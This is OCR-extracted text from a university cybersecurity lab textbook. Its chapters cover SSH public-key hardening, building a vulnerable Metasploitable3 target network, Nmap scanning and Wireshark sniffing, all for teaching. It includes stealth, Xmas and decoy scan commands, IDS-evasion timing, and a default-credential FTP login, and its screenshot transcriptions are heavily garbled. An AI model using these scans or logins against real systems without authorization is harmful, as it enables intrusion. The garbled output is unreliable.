Assignment 1: Rebuild the OSPF network from chapter 28 with authentication

. Use the same topology from the chapter
«  Add authentication to the network

+  Add a Green subnet and then a rouge subnet that imitates the Green subnet. Show that the rouge
subnet does not affect the network thanks to authentication
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CHAPTER 41

System Hardening - SSH Public Key Authentication with
Linux

JACOB CHRISTENSEN; ISHA PATEL; AND ARJUN NATH

In the modern day, one of the most common forms of authentication we encounter are Single Sign-On (SSO)
passwords. You may recognize this as a password you type to access a store's website or the credentials you
enter to log on to a video game service. While it is the most commonly used form of authentication, it is not
the only option. In this chapter, we will be exploring a more secure alternative through asymmetric encryption.
Asymmetric encryption utilizes two keys: a public key (which is typically freely available and has no cost to security
if exposed) and a private key (which must never be shared under any circumstances). The basic idea is that
anything encrypted with one key can only be decrypted with the other. In this chapter, we will be implementing
Public Key Authentication to further harden our Linux servers on our network.

LEARNING OBJECTIVES

+ Learn how to implement Public Key Authentication for remote server administration

+ Learn how to harden SSH against common cyber attacks

PREREQUISITES

+ Network Monitoring - Honeypots

DELIVERABLES

+ Screenshot of GNS3 Network
+ Screenshot of cat ~/.ssh/authorized_keys command
+ Screenshot of a successful connection to ssh with public key authentication

+ Screenshot of Ubuntu Desktop being refused connection due to no public key

RESOURCES

+ Network Chuck - 5 Steps to Secure Linux (protect from hackers) - https://www.youtube.com/
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watch?v=ZhMw53Ud2tY&feature=youtu.be&themeRefresh=1

CONTRIBUTORS

+ Kyle Wheaton, Cybersecurity Student, ERAU-Prescott
+ Dante Rocca, Cybersecurity Student, ERAU-Prescott
+ Jungsoo Noh, Cybersecurity Student, ERAU-Prescott

Phase | - Building the Network Topology

The following steps are to create a baseline network for completing this chapter. It makes assumptions about
learner knowledge from completing previous labs.
By the end of this lab, your network should look like the following:
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DMZ (corp.dmz.)

10.0.0.0/24

Services SERVER
- HTTP
- DHCP o

| = —
- DNS S —
- SSH

.4

SWITCH2 HOMNMEYPOT
- ——
- z_} - e —]
|
.5

Services
- HTTP

ISP{Internet)

192.168.122.0/24

Internal LAN {(corp.local.}
192.168.5.0/24

ITLaptop(Kali) c

RELAY
1
-
= SWITCH1
{_—}
lientl Client2 Client3

Figure 1 - Network topology

1. Start GNS3

1.1.

Create a new project: LAB_24
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NOTE: The lab takes heavy influence from the chapter Network Monitoring - Honeypots. It
is recommended to save that file as a new project and make adjustments as necessary.

Phase Il - Configuring Public Key Authentication

To begin implementing a Public Key Authentication system, we first need to generate a public key pair. We'll
give the DMZ server with the public key. This key will act as the authenticator of anyone who attempts to log in
holding the private key. We give the private key to the Kali machine, and later attempt to launch an SSH session
from the Kali machine to the DMZ server

1. Inthe corpl.jlocal subnet, start the IT laptop (Kali) and login

2. Ensure that SSH is enabled and active

> systemctl enable ssh.service

> systemctl restart ssh.service

3. Generate a new RSA public/private key pair

> ssh-keygen -t rsa -b 3072

3.1. Press enter when prompted where to save the key to place it in its default location: ~/.ssh/
id_rsa

3.2. You may enter a password to further protect your private key, but you can also press enter
again twice to skip this
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— . eyg rsa
Generating public/priv
Enter file in which to
Enter passphrase (empty
Enter same passphrase
Your identific

Your public k

The key fingerprint is:
SHAZ256:

Qglt/fGamivmyQ3U70wz9K9wu@g+39emLtZbopLBLT4 kalimkali

0.B*0.. 0
«u=%=0=, 0+
00 =0E=%=
+ [SHAZ56]

Figure 2 - Terminal Command Execution

3.3. Verify that the both the private (id_rsa) and public (id_rsa[.Jpub) have been generated

> 1s -1 ~/.ssh/id rsa*

l ~/.ssh/id_rsa
1 kali kali 259@ Apr 18 81:@4 /home/kali/.ssh
-tw-r——r-— 1 kali kali 563 Apr 10 81:84 Shome/kali/.ssh

-rW—

Figure 3 - Terminal Command Execution

4. In the corp[.Jdmz subnet, start the primary server and login

4.1. Enable The SSH service
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> systemctl enable ssh

> systemctl start ssh

5. Transfer the public key to the DMZ server (server[.Jcorp[.]Jdmz) which will be authorized for remote
logins

5.1. On the Kali machine, securely move the key using SSH

> ssh-copy-id username@l10.0.0.4

NOTE: Remember that your server's username may vary.

—%$ ss Cop o1e.0.90.4

Jusr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/h /kali/.ssh/id_rsa.pub”

fusr/bin/ssh-copy-id: INFO: attempti to log in with the new k , to filter out any that are already installed
/usr/bi h-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
iako@1@.0.0.4"s password:

Number of key(s) added: 1

Figure 4 - Terminal Command Execution

5.2. On the server, verify that it was transferred successfully

> cat ~/.ssh/authorized keys

rerUr

Figure 5 - Terminal Command Execution

6. Testto see if it worked by starting a new SSH session from the Kali box to the server
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> ssh username@l10.0.0.4

iakomlo.@.@.
Welcome to Ubuntu 22. ﬂ .3 LTS (GNU/Linux 5.15.0-9¢ eric x86_64)

* Documentation: httpS'f’hn1p ubuntu. com
* Management: https: indscape.canonical.com

* Support: https://ubuntu.com/advantage
information as of Wed Apr 10 05:26:07 AM UTC 2024
1a7

of 8.02GE ers logge in: 1
T enp@s3: 1@.

Expanded Security Maintenance for Applications is not enabled.

e additional future
fubuntu.cnr;h5n or run: sudo pro

ites is more than
run: sudo apt upda

from 192.168.5

Figure 6 - Public Key Authenticated SSH Session

NOTE: We successfully logged into the machine without needing a password! However, if you decided
to further secure your RSA keys with a passphrase during the ssh-keygen command, you will be
prompted to enter that passphrase when using SSH. It should be noted that this is locally processed
and not transmitted over the network.

Phase Ill - Further SSH Hardening

While we have successfully implemented this form of authentication over SSH, simply leaving it there would be
unwise for security. We can implement a few other changes to the SSH service running on the DMZ to make the
setup more secure.
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1. Login to the DMZ primary server

2. Modify the configuration file for the server-side SSH daemon with the following changes

> vi /etc/ssh/sshd config

2.1. Change AddressFamily from any to inet to only listen for IPv4 connections
2.2. Set ListenAddress to 10.0.0.4
2.3. Add an AllowUsers directive followed by the primary account's username

2.4. Change ClientAliveCountMax from 3 to 2 to reduce the amount of time before idle client
sessions are disconnected

2.5. Change ClientAlivelnterval from 0 to 15 to set a timer on SSH Keep Alive messages

2.6. Set PasswordAuthentication to no to disable passwords/passphrases

2.7. Set PermitRootLogin to no to disable the root user from being accessed via SSH

2.8. Change Port from 22 to any other nonstandard port number to obfuscate SSH services
2.9. Set PubkeyAuthentication to yes to allow for public key authentication

2.10. Use this image for configuration reference

# Listener Configuration
Fort
Add
Lis

Figure 7 - SSHD configuration

3. Restart the SSH daemon
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> systemctl restart ssh

4. From the admin laptop, test the new SSH service

4.1. Trytologin to root on the DMZ server via SSH

> ssh root@10.0.0.4 -p 434

root@le.@.e8.4 -p
root@ld.0.0.4"s password:
Permission denied, please try again.
root@ld.0.0.4"s password: I

Figure 8 - Terminal Command Execution

NOTE: This example changed the default port to 434, be sure to adjust this as necessary.

4.2. Tryto login into the primary user

> ssh username@l10.0.0.4 -p 434
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lakomld.
Welcome to Ubuntu

. COm
inonical.c

169
in: 1
for enp@s3: 10.0.08.4

15 not enabled.

e additional future
m or run: sudo pro

Figure 9 - Terminal Command Execution

End of Lab

Deliverables

4 Screenshots are needed to earn credit for this exercise:

. Screenshot of GNS3 Network
. Screenshot of cat ~/.ssh/authorized_keys command
«  Screenshot of a successful connection to ssh with public key authentication

+  Screenshot of Ubuntu Desktop being refused connection due to no public key
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Assignment 1 - Add two more public keys to the ssh server

+  Add two public keys to the server from two of the Ubuntu desktops

+  Show them successfully connecting afterwards
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PART IV

ATTACKING AN ENTERPRISE
NETWORK

739
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BUILD THE BASELINE NETWORK

CHAPTER 42

Build the Baseline Environment (Eagle Net)

DANTE ROCCA

This section is for building a baseline environment. e.g. Your target. We'll call it Eagle Network, The Eagle, or just
Eagle for reference. It will contain many of the devices of a real network, but it will be abbreviated to save on host
machine resources. You will need to create this enterprise network first before starting any of the attack labs.

LEARNING OBJECTIVES

+ Create a network to serve as a target for offensive cyber operations

PREREQUISITES

+ Chapter 5 - Installing Tiny Core Linux

+ Chapter 7 - Create a Linux Server

+ Chapter 12 Create a Kali Linux VM

+ Chapter 13 - Create a Vulnerable Desktop VM

+ Chapter 21 - DHCP Relay

DELIVERABLES

« Four (4) Screenshots are required:

o
o

o

RESOURCES

GNS3 lab environment
Kali box receiving an IP address
Metasploitable3-Win box receiving an IP address

Metasploitable3-Linux box receiving an IP address

+ N/A

741
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CONTRIBUTORS AND TESTERS

+ Mathew J. Heath Van Horn, PhD
+ Jacob M. Christensen, Cybersecurity Student, ERAU-Prescott

Phase | - Setting up the network

This lab provides students with a guide to creating a network containing vulnerabilities to exploit while
conducting a cyber attack. Much of this lab is directly from the DHCP Relay chapter. We highly recommend that
once the GNS3 environment is complete; you save a master copy for reuse in future activities.

1. The goal is to create a network like this:
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RED Net (Attacker)
100.100.100.0/24

GRAY HNet
150.150.150.0/ 24

ether2
1 Ubuntu_Server
| etherl

1
Router

ether3
. |

Ubuntu_Desktop ! Metasploitable3_Win

W = o

Mes‘tasplm!la ble3 Linux

&
L. BLUE Net (Defender)
200.200.200.0f 24

Figure 1 - Expected final result

2. Create the following virtual machines and add them to the GNS3 environment:

NOTE: Not every VM is used in every lab. To save resources, substitute a Tiny Core Linux box for any
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unused machine. This device swap will still show live targets on scans, but it only uses 50 MB of memory
instead of 2 GB!

2.1. TinyCore Linux in Chapter 5 - Installing Tiny Core Linux

2.2. Ubuntu Server VM with all add-ons in Chapter 7 - Create a Linux Server

2.3. Ubuntu Desktop in Chapter 11 - Create a Ubuntu Desktop

2.4. Kali VM in Chapter 12 - Create a Kali Linux VM

2.5. Both Metasploitable 3 (Windows and Linux) VMs in Chapter 13 - Create a Vulnerable
Desktop VM

3. Configure the Ubuntu Server to service DHCP requests
3.1. Modify the /etc/netplan/*.yaml on the DHCP machine (Figure 2)
3.2. Modify the /etc/dhcp/dhcpd.conf file on the DHCP machine (Figure 3)

3.3. Ensure sure the daemon is active and running

NOTE: As a reminder:
1. Start the service:

sudo systemctl start isc-dhcp-server.service

2. Restart the service:

> sudo systemctl restart isc-dhcp-server.servic

3. Start the service on system boot:

> sudo systemctl enable isc-dhcp-server.service

4. Check service status:

status isc-dhcp-server.service

5. Check the configuration for errors



https://eaglepubs.erau.edu/app/uploads/sites/10/2024/02/eagle-net-netconf.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/02/eagle-net-dhcpd-config.png

BUILD THE BASELINE NETWORK 745

> dhcpd -f

6. Check the system log for additional error messages

> journalctl -xeu isc-dhcp-server.service

4. Assign each interface on the router an IP address according to the IP addresses in the image
5. Configure the router as a DHCP relay for the Red and Blue networks
6. Check to make sure that everything is working properly
6.1. The attacker's machine should receive an address from the 100.100.100.0/24 pool
6.2. The blue machines should receive addresses from the 200.200.200.0/24 pool

End of Lab

Deliverables

3 Screenshots are needed to earn credit for this exercise:

+  Screenshot of Lab Environment
+  Screenshot of Kali VM receiving an IP address

. Screenshot of Metasploitable3 VM receiving an IP address
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Figures for Printed Version

Ubuntu_Server1 [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help
# This the network config wreitten by 'subiguity’
netwo

1,1 All
# W ST ¥ 43 8 Right ctrl

Figure 2 - Ubuntu Server netplan configuration
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Ubuntu_Server1 [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

S0, 150, 150,10

“setosdhopsdhcpd. conf'' 28L, T8 bl -
BOowg &WET § ¢ 8 right ctrl

Figure 3 - Ubuntu Server DHCP daemon configuration
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CHAPTER 43

Scanning and Enumeration - Nmap Basics

DANTE ROCCA AND MATHEW J. HEATH VAN HORN, PHD

Network Mapper (Nmap) is a powerful tool that is used by both system administrators and hackers. In network
administration, it assists in understanding which machines are online and what services they are running, which is
helpful when troubleshooting common connectivity issues. In ethical hacking, Nmap is used for similar purposes
but with the added goal of finding any vulnerable services we can exploit as a point of entry into the network.

LEARNING OBJECTIVES

+ Use Nmap to scan a host

+ Use Nmap to perform a ping scan

PREREQUISITES

+ Chapter 42 - Eagle Net

DELIVERABLES

+ Screenshot of subnet scan
+ Screenshot of ping sweep
+ Screenshot of detailed fingerprinting scan

+ Screenshot of stealth scan

RESOURCES

+ Nmap Documentation - https://nmap.org/book/man-host-discovery.html

+ PhoenixNAP - “Nmap Commands - 17 Basic Commands for Linux Network” - https://phoenixnap.com/
kb/nmap-commands

* Nathan House - “Nmap Cheat Sheet 2024: All the Commands & Flags” - https://www.stationx.net/nmap-
cheat-sheet/
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CONTRIBUTORS AND TESTERS

« Bernard Correa, Cybersecurity Student, ERAU-Prescott
+ Jacob M. Christensen, Cybersecurity Student, ERAU-Prescott

Phase | - The Very Basics

The goal here is to familiarize students with the fundamentals of using Nmap. With no arguments, Nmap
conducts a TCP SYN scan against the top 1,000 most commonly used networking ports. Keep in mind that these
scans can never be 100% reliable, for they depend on the accuracy of the responses sent back by the targets
(which can be manipulated). However, it is still a good starting point before planning more advanced scanning
techniques.

1. Use Eagle Net as the baseline network environment for this lab
1.1. Start all machines
1.2. Ensure that the Kali and Metaspolitable boxes are all able to receive IP addresses

1.3. Write these addresses down for later comparison with the network scan results. In this
example, our results are:

Kali 100.100.100.5
Metaploitable3 - Windows 200.200.200.5
Metasploitable3 - Linux 200.200.200.6

2. We're going to begin with a basic Nmap command. Navigate to the Kali box, open a terminal, and
execute Nmap against the Metasploitable3-Linux box

> nmap 200.200.200.6

NOTE: Some Nmap commands will require superuser privilege. If you get an error saying you don't
have permission for the command, use sudo before it. Alternatively, use the command “sudo su” before
beginning the lab to switch to the substitute user and you will no longer need to type sudo before
each command. In a closed environment, this is fine, but using “sudo su” is generally bad practice and
insecure since you are unlocking root access for everything.

3. Allow the scan to run for a minute or two. The report will display when finished.
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Command

Ports in use
by the target

200.200.200.6
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-@5-11 14:57 MST

Nmap scan report for 200.200.200.6
Host is up (0.0045s latency).
Not shown: 991 filtered tcp ports (no-response)
STATE SERVICE
open ftp
open ssh
open http
open microsoft-ds
open ipp
3000/tcp closed ppp
3306/tcp open mysql
808@/tcp open http-proxy

8181/tcp closed intermapper

Nmap done: 1 IP address (1 host up) scanned in 18.85 seconds

1,000 common ports
were scanned with 991
ports not responding

Figure 1 - Results of the Nmap scan of Metasploitable3-Linux machine

4. Notice that our target machine has a large number of open ports. Each one represents a different
service that is listening for new client connections

5. Nmap accepts several different ways for specifying IP addresses, including the use of wildcards (*).
Use the following command to scan all IP addresses in the range of 200.200.200.0 to 200.200.200.255

> nmap 200.200.200.%*

6. The result should look similar to this




NMAP BASICS

Nmap scan report for 2
Host is up (@©.0155 latend
Mot shown: 994 closed tcp ports (conn-refused)
PDFT STATE SER
21/tcp open
tcp open
tcp open
ga/tcp open
2000/tcp open
8291/tcp open

Host is up (@.

Not shown: 980 closed TLp pn:Tr (conn-refuse

PDFT STATE SERVICE

21/ open ftp
open ssh
open http
open msIrpc
open netblos-ssn
open microsoft-ds
open  mysql
open ms-wbt-s
open appserv-http
open imgbrokerd
open ajpl3
open http-pr
open intermapper
open m2mservices
open wap-wsp
open unknown
open unknown
open unknown
open unknown
open unknown

Nmap scan report for 200
Host is up (@©.0089s latency).
Mot shown: 991 filtered tcp ports (no-response)
PORT STATE SERVICE
21/ open ftp

open ssh

open http

open microsoft-

open ipp

closed ppp

apen mysqgl

open http-pr
hlﬁletp closed intermapper

Nmap done: 256 IP addre : (2 hosts up) scanned i seconds

Figure 2 - Nmap scan results of the entire subnet
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7. We can see the Nmap scan results of the entire 200.200.200.0/24 subnet (256 IP addresses). Notice
Nmap found three devices (router, Mestapoitable3 - Windows, and Metasploitable3 -Linux) and
provided a report of the discovered ports open on those systems

Phase Il - Scanning for hosts

Now that we have the basics down, the first step of any scan is discovering what hosts are up. You should be
familiar with basic TCP packet headers. Refer to this abbreviated reference model for this phase.

0‘1|2‘3‘4‘5‘6‘?‘0‘1|2‘3‘4‘5‘6‘?|0|1‘2‘3‘4‘5‘6‘?‘0|1‘2‘3‘4‘5‘6‘?

32 Bits

Source Port | Destination Port

Sequence Number

Acknolwedgement Number

Flags

Data Offset Reserved Window (Sliding Window)

Congestion
ECN-Echo
Urgent Pointer
Acknowledgement
Push Function
Reset Connection

Synchronize sequence number
FIN - Last packetfrom sender

Checksum UrgentPointer

Options Padding

Data

Figure 3 - Abbreviated TCP Header Model

1. The following command disables the default port scan of Nmap and performs a ping sweep (-sn) to
quickly discover live hosts on the network. This is useful in identifying targets before executing slower,
more intensive scans on them

> nmap -sn 200.200.200.0/24
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200.200.200,0/24
Starting Nmap 7.945VN (
Nmap scan report for 200.
Host is up (©0.0833s latency

Nmap scan report for

Host

Nmap scan report for 26

Host is up (@.0874s latency,

Nmap done: 256 IP addresses |3 } scanned in 15.92 seconds

Figure 4 - Results of the ping scan of the 200.200.200.0/24 network

2. Again we see three devices, the router, Metasploitable3-Windows, and Metasploitable3-Linux

NOTE: There could be ‘hidden’ hosts that are not responding to our ICMP echo messages.

3. To treat all hosts as online (no host discovery performed first) we use the following command (-Pn =
Ping no). Since this will take a while to complete, you can terminate the scan by pressing Ctrl+C

> nmap -Pn 200.200.200.0/24

Mmap scan report for 200.200.200.6
Host is up.

All 1888 scanned ports on 2

Mot shown: 1080 filtered tcp

[ h

RTTVAR
RTTVAR
RTTVAR
RTTVAR
RTTVAR
RTTVAR
RTTVAR
RTTVAR
RTTVAR
RTTVAR
RTTVAR

econds,
econds,
econds,
econds,
econds,
econds,
econds,
econds,
econds,

grown
grown
grown
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grown
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grown
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grown

D
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Figure 5 - Partial results of the no-host discovery scan of the 200.200.200.0/24 subnet

4. This command is useful when you already know a host is active and you want to minimize your
network traffic footprint

> namp -Pn 200.200.200.6
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| — | =

) -Pn 200.200.2080.6

Starting Nmap 7.94SVN ( https://nmap.org ) a
Nmap scan report for 200.200.: . b
Host is up (©.0069s latency).
Mot shown: 991 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open fip
22/tcp open ssh
80/tcp open http
445/tcp open  microsoft-ds
631/tcp open ipp
@/tcp closed ppp
3386/tcp open mysql
8080/tcp open http-proxy
8181/tcp closed intermapper

Mmap done: 1 IP address (1 host up) scanned inm 17.65 seconds

Figure 6 - Result of the Nmap scan without host discovery (no ping) against the target machine
200.200.200.6

5. Sometimes, certain services are disabled in an attempt to avoid discovery. Nmap allows for various
scanning options to see if targets will reveal information by masking network scans as other types of
services. This can be useful for finding those hidden machines blocking our ICMP probes!

5.1. Perform a TCP SYN discovery scan on port 22 (SSH) against 200.200.200.6

> nmap -PS 22 200.200.200.6

5.2. Perform a TCP ACK discovery scan

22 200.200.200.6

5.3. Perform a UDP discovery scan

> nmap —-PU

You will see that most of the scans produce the same results. However, the UDP scan tells
us that the host is down. This is a good demonstration of the need to expand your scans
and produce more accurate information. Future scans using TCP SYN packets may report no
active hosts, but then switching to UDP can reveal them to be up.
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6. Open a Wireshark capture on the Kali box and perform the same three scans above. Observe the
number and type of packets sent and received when performing each scan. You can see how ‘noisy’ each
scan appears to anyone who is monitoring the network traffic

Phase lll - Fingerprinting with Nmap

For hacking, we need as much information as possible about a system to determine possible vulnerabilities.
Nmap provides much more information than just what ports are open on the machine. Fingerprinting requires
root privileges.

1. Attempt to detect the operating system (-O) of a target

> nmap -0 200.200.200.6

This results in many possible guesses. We may not get the exact version of Linux, but it is clear that
our target machine is Linux.

org ) at 2024-05-11 17:18 MST

, Linux - 4. 4%), 3.13 - 3.16 (94%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (94%), Linux 4.10 (94%), Android 5.0 - 6.0

Figure 7 - Nmap discovered our target machine is running Linux

2. Try an OS detection scan against our Metasploitable3-Windows machine to compare the results

> nmap -0 200.200.200.5

NOTE: You may have to restart the Windows machine due to inactivity
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unknown
unknown

_8 cpe:/o:microsoft:windows_8.1

Figure 8 - Nmap scan result for the Windows machine

3. To find the versions of services running on a host use the command

> nmap -sV 200.200.200.6

The results are pretty interesting. We can use OSINT techniques (such as Google) to research potential
vulnerabilities for each of these services.

nmap.org ) at 2
.6

Not shown: 991 L
STATE SERVIC VERSION
apen ProFTPD 1 5
open OpenSSH 6.6.1p1 U .13 (Ubuntu Linux; protocol
open he httpd o
open netbios-ssn Samba smbd 3. 2 {GROUP )
open ipp CUPS 1.7
closed ppp
open mysgl
open http
closed intermapper
Hosts: 127.08.0.1, METASPLOITABLE3-UB14@4; 0Ss: Unix, Linux; CPE: cpe:/o:linux:Llinux_kernel

Figure 9 - Software version scan results of our target machine

4. Alternatively, for more detailed (and very noisy!) scan, use theA switch. This enables OS detection,
script scanning, version detection, and traceroute

NOTE: This might take a while.

> nmap -A 200.200.200.6
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These results are also very interesting. For example, we obtained the SSH keys used to remote into
the system as well as some filenames.

irting Nmap 7

Nmap scan re

Host is up ( g

Not shown: 991 filt

PORT STATE ¢ [IC VERSION
ftep o ProFTPD

: OpenSsSH 6

open
Volume /

TIME FILENAME
B 37 chat/

Figure 10 - Scan results of the Metasploitable3-Linux target machine

We can also see that there might be a website being hosted and the target is waiting for print
commands from other devices.
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4.7 (Ubuntu)

smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)

tially ri methods: PUT

open mysqgl SQL (unauthorized)
open  http etty 20120918

, Linmux
] for host
Distance: 2 hops
vice Info: Hosts: 127.0

Figure 11 - Scan results continued

Phase IV - Scanning Techniques

Lastly, there are a few more techniques which we can utilize. Refer to the basic TCP headers again.

0‘1|2‘3‘4‘5‘6‘?‘0‘l|2‘3‘4‘5‘6‘?|0|1‘2‘3‘4‘5‘6‘?‘0|1‘2‘3‘4‘5‘6‘?

32 Bits

Source Port | Destination Port

Sequence Number

Acknolwedgement Number

Flags

Data Offset Reserved Window (Sliding Window)

Congestion
ECN-Echo
Urgent Pointer
Acknowledgement
Push Function
Reset Connection

Synchronize sequence number
FIM - Last packetfrom sender

Checksum Urgent Pointer

Options Padding

Data

Figure 3 - Abbreviated TCP Header Model
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1. Scans can be done using different TCP header flags and produce different results

1.1. We'll start with the simpleTCP SYN (stealth) scan. Open Wireshark and perform the scan
below. It doesn't look stealthy, but it is considered as such because it never completes the TCP
connection. However, firewalls can easily block this scan

> nmap -sS 200.200.200.6

1.2. Execute a TCP ACK scan. Again watch the scan on Wireshark

> nmap -sA 200.200.200.6

1.3. Execute aUDP scan (this may take a while)

> nmap -sU 200.200.200.6

1.4. Execute an Xmas scan (sets all the flags on a TCP packet header, lighting up the scan like a
Christmas tree!)

> nmap -sX 200.200.200.6

1.5. Execute a TCP FIN scan

> nmap -sF 200.200.200.6

2. Another technique we can use is to adjust the timing of the scans. Nmap uses a number between 0
and 5 to indicate the aggressiveness of a scan. The lowest value 0 indicates a “paranoid scan” that will
take a very long time to complete, but is unlikely to be picked up by IDS. Using setting 5 indicates a very
aggressive scan that will be sloppy, but completed at breakneck speed. To use timing, enter the
following command where the # is the timer setting. Try both the 0 setting and the 5 setting. The scans
should produce the same results, but you can see on Wireshark that the packets are sent at different
speeds

> nmap -T# 200.200.200.6

3. Finally, you can try to mask yourself by using a decoy IP address. Watch this on Wireshark and you
can see that it looks like Google is scanning our target
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> nmap -D 8.8.8.8 200.200.200.6

3.1. For added confusion, you can use cloak yourself within many IP addresses, so that the
defender doesn't know which one is yours

> nmap -D RND:20 200.200.200.6

This command executes a Decoy scan using 20 random source IP addresses.

4. Keep in mind that most of the commands in each section can be mixed and matched together such
as in the following example which will fingerprint the operating system while using a decoy

> nmap -O -D 8.8.8.8 200.200.200.6

End of Lab

Deliverables

Four screenshots are needed to earn credit for this exercise:

. Screenshot of subnet scan
. Screenshot of ping sweep
+  Screenshot of detailed fingerprinting scan

. Screenshot of stealth scan

Assignment 1 - Scan a website

Scan the vulnerable website scanme.nmap.org and produce the same screenshots as the deliverables.
Describe your findings in a paragraph or two.

Assignment 2 - Scan Metasploitable3 - Windows

Start the Metasplitable3-Windows VM and produce the same screenshots as the deliverables. Describe your
findings in a paragraph or two.

No Non-Printable Figures in this Chapter
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CHAPTER 44

Scanning and Enumeration - Sniffing Basics

DANTE ROCCA

Sniffing is an important task for any hacker or network administrator. It allows one to see the traffic going across
the network and pick out important details such as active machines, IP and MAC addresses, and sometimes even
passwords if unencrypted traffic is being sent.

LEARNING OBJECTIVES

+ Learn the basics of Wireshark filtering

PREREQUISITES

+ Chapter 42 - Eagle Net

+ Chapter 43 - Nmap

DELIVERABLES

+ Screenshot of Wireshark filtered to only TCP and FTP

+ Screenshot of tcpdump capture on the command line

RESOURCES

+ “Lab 51 - Packet Capture with tcpdump” - https://www.101labs.net/comptia-security/lab-51-packet-
capture-with-tcpdump/

+ comparitech - tcpdump Cheat Sheet - https://cdn.comparitech.com/wp-content/uploads/2019/06/
tcpdump-cheat-sheet-1.jpg.webp

CONTRIBUTORS AND TESTERS

+ Mathew J. Heath Van Horn, PhD
+ Jacob M. Christensen, Cybersecurity Student, ERAU-Prescott
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Phase | - Generating Traffic to be seen on WireShark

To begin the lab we'll use Wireshark, which learners should already be familiar with. After generating some
traffic, we'll show how to use some basic filters.

1. Open a Wireshark capture between the router and the switch on the network containing the
Metasploitable VM

NOTE: Keep Wireshark running in the background. This section is all about generating interesting
network traffic to examine later.

2. Navigate to the Kali Linux VM

2.1. Open the terminal and check its IP address

NOTE: In this example, our Kali IP address is 100.100.100.5.

> ip address show

2.2. Perform an Nmap scan on the 200.200.200.0/24 network

> nmap 200.200.200.0/24

2.3. In our example, we can see that our Metasploitable3-linux machine has an IP address of
200.200.200.7 and has FTP running on port 21
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Nmap scan report for 2008.200.200.7

STATE

open

open

open

open microsoft-d

open ipp

closed ppp

open mysql

open http-proxy
81/tcp closed intermapper

Nmap done: 256 IP addresses (4 hosts up) scanned in @6 seconds

Figure 1 - Nmap scan results

2.4. Connect to the FTP service running on the Metasploitable VM

> telnet 200.200.200.7 21

2.5. Inthe telnet terminal, log into the FTP server

user vagrant

pass vagrant

2.6. Exit the FTP session

quit



764

Escape characte .
y ProFTPD 1.3.5 Server (ProFTPD Defa
r vagrant

quit
221 Goodbye
Connection closed by foreign host.

Figure 2 - FTP login
2.7. Open Firefox and go to the following URL:

http://200.200.200.7/

ult In

MATHEW J. HEATH VAN HORN, PHD

stallation) [28@.200.280.7]

2.8. You can see that there are four web pages you can click on: Three folders and a Hypertext

Pre-processor (PHP) file
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O & 200.200.200.7

Kali Linux #& KaliTools = KaliDocs ¥ Kali Forums e Kali NetHul

Kali Ne
Index of / https:,

Name Last modified Size Description
(3 chat/ 2020-10-29 19:37 -
[£3 drupal/ 2011-07-27 20:17 -

[ payroll app.php 2020-10-29 19:37 1.7K
(3 phpmyadmin/ 2013-04-08 12:06 -

Apache/2.4.7 (Ubuntu) Server at 200.200.200.7 Port 80

Figure 3 - Results of Browser Visit

2.8.1. Click around on some of the various tabs on the webpage to generate traffic,
then close the browser

Phase Il - View traffic on wireshark and practice using filters

If you have ever observed Wireshark packet capture on a live connection you can be easily overwhelmed by
the thousands of data packets. In this book, we generally use a ‘closed’ system so you may have only seen the
packets of the tools we are using at the time. To separate the weeds from the wheat in a live environment, we
need to learn to use filters. The most common filter on Wireshark is the display filter. We can use a combination
of expressions and logical operators to filter which packets appear to us. The following are just some examples
SO you can gain practice using various display filters.

1= Not equal

== Equal

[ OR

&& AND

Don't worry about each packet type; you can Google that information and gain knowledge as you gain
experience. However, don't be afraid to click on any packet and explore.
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1. Now that some traffic has been generated, switch to the Wireshark window that was opened earlier.
We're going to apply some filters to look for certain kinds of traffic

1.1. First, we'll filter the capture to only show packets that involve the Kali VM (100.100.100.5)

ip.addr==100.100.100.5

,d *- [Router ether3 to Switch3 Ethernet0] = O
File Edit View Geo Capture Analyze Statistics Telephony Wireless Tools Help
e RE ] &= S = =qqan
ip.addr==100.100.100.5) [X] -]+
No. Time Source Destination Protocol Lengtt Info
8782 1536.299767 100.100.106.5 200.200.200.7 HTTP 726 GET /phpmyadmin/themes/pmahomme/img/s_error.png HTTP/1
8783 1536.383755 2080.200.200.7 166.166.1868.5 HTTP 1013 HTTP/1.1 288 OK (PNG)
8784 1536.311689 166.1060.1086.5 20608.200.200.7 TCP 66 33428 + 8@ [ACK] 5eq=1282 Ack=17914 Win=31872 Len=8 TS
8787 1541.197659 200.200.200.7 166.160.1680.5 TCP 66 8@ = 33422 [FIN, ACK] Seq=19879 Ack=2200 Win=34848 Len;
8788 1541.199827 166.1060.1086.5 20608.200.200.7 TCP 66 33422 + 8@ [FIN, ACK] Seq=228@ Ack=19388 Win=31872 Len;
87859 1541.199736 200.200.200.7 166.160.1680.5 TCP 66 88 =+ 33422 [ACK] 5eq=19888 Ack=2201 Win=34848 Len=8 TS
8791 1541.383876 200.200.200.7 166.160.1680.5 TCP 66 88 = 33428 [FIN, ACK] Seq=17914 Ack=1282 Win=31616 Len;
8792 1541.385311 166.1060.1086.5 20608.200.200.7 TCP 66 33428 + 8@ [FIN, ACK] Seq=1282 Ack=17915 Win=31872 Len;
8793 1541.386834 200.200.200.7 166.160.1680.5 TCP 66 8@ =+ 33428 [ACK] 5eq=17915 Ack=1283 Win=31616 Len=8 TS
8794 1542.188171 166.1060.1086.5 20608.200.200.7 TCP 66 33434 + 8@ [FIN, ACK] Seq=1 Ack=1 Win=32128 Len=8 TSval
8795 1542.189258 200.200.200.7 166.160.1680.5 TCP 66 88 = 33434 [FIN, ACK] Seq=1 Ack=2 Win=29856 Len=8 TSval
8796 1542.198347 166.1060.1086.5 20608.200.200.7 TCP 66 33434 + 8@ [ACK] Seq=2 Ack=2 Win=32128 Len=8 TSval=1674
8797 1546.9089686 166.1060.1086.5 20608.200.200.7 TCP 74 51732 + 8@ [SYN] Seq=@ Win=32120 Len=8 MS5=1468 SACK_P}

Figure 4 - Filtering out all packets not from the Kali VM

1.2. Thatis too many packets for us to sift through. Let's add to our current filter to only show
HTTP traffic

ip.addr==100.100.100.5 && http

m g ® 5= aaeqH
